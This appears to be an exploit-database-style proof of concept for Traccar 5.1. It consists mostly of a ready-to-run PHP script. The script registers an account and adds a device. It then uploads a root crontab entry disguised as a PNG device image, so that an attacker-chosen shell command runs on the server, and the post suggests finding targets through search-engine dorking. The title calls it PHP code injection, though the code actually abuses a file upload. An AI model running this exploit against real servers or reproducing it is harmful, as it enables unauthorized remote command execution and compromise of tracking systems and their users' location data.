Traccar 5.1 Code Injection

=============================================================================================================================================| # Title     : Traccar 5.1 php code injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.traccar.org/old-versions/                                                                                       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This PHP script assumes you're targeting a similar HTTP service that allows file uploads and interacting with REST APIs.[+] save payload as poc.php[+] usage : C:\www\test>php poc.php[+] Line 117 : login info : 'root', 'toor', '[email protected]', '/');[+] payload :<?phpclass TraccarExploit {    private $host;    private $port;    private $username;    private $password;    private $email;    private $target_uri;    public function __construct($host, $port = 8082, $username = '', $password = '', $email = '', $target_uri = '/') {        $this->host = $host;        $this->port = $port;        $this->username = $username;        $this->password = $password;        $this->email = $email;        $this->target_uri = $target_uri;    }    public function send_request($method, $uri, $data = null, $ctype = 'application/json') {        $url = "http://{$this->host}:{$this->port}{$uri}";        $headers = [            "Content-Type: {$ctype}",        ];        $ch = curl_init($url);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        $response = curl_exec($ch);        curl_close($ch);        return json_decode($response, true);    }    public function register_user() {        echo "Registering new user...\n";        $body = json_encode([            'name' => $this->username,            'email' => $this->email,            'password' => $this->password,            'totpKey' => null        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/users', $body);        if (!$res || $res['code'] !== 200) {            die("Failed to register user. Response: " . print_r($res, true));        }        echo "User registered successfully.\n";    }    public function authenticate() {        echo "Authenticating...\n";        $data = http_build_query([            'email' => $this->email,            'password' => $this->password        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/session', $data, 'application/x-www-form-urlencoded');        if (!$res || $res['code'] !== 200) {            die("Failed to authenticate. Response: " . print_r($res, true));        }        echo "Authenticated successfully.\n";    }    public function upload_cron_file($cmd) {        echo "Adding new device...\n";        $body = json_encode([            'name' => bin2hex(random_bytes(8)),            'uniqueId' => bin2hex(random_bytes(8))        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/devices', $body);        if (!$res || $res['code'] !== 200) {            die("Failed to add device. Response: " . print_r($res, true));        }        $device_id = $res['id'];        $cron_job = "* * * * * root /bin/bash -c '{$cmd}'\n";        $cron_filename = bin2hex(random_bytes(6));        echo "Uploading crontab file...\n";        $file_data = [            'file' => curl_file_create("data://text/plain;base64," . base64_encode($cron_job), 'image/png', "{$cron_filename}.png")        ];        $this->send_request('POST', $this->target_uri . "api/devices/{$device_id}/image", $file_data, 'multipart/form-data');        echo "Cronjob file uploaded successfully. Waiting for execution...\n";    }    public function exploit($cmd) {        $this->register_user();        $this->authenticate();        $this->upload_cron_file($cmd);    }}// Usage example:$exploit = new TraccarExploit('127.0.0.1', 8082, 'root', 'toor', '[email protected]', '/');$exploit->exploit('id'); // Replace 'id' with your desired command to execute?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================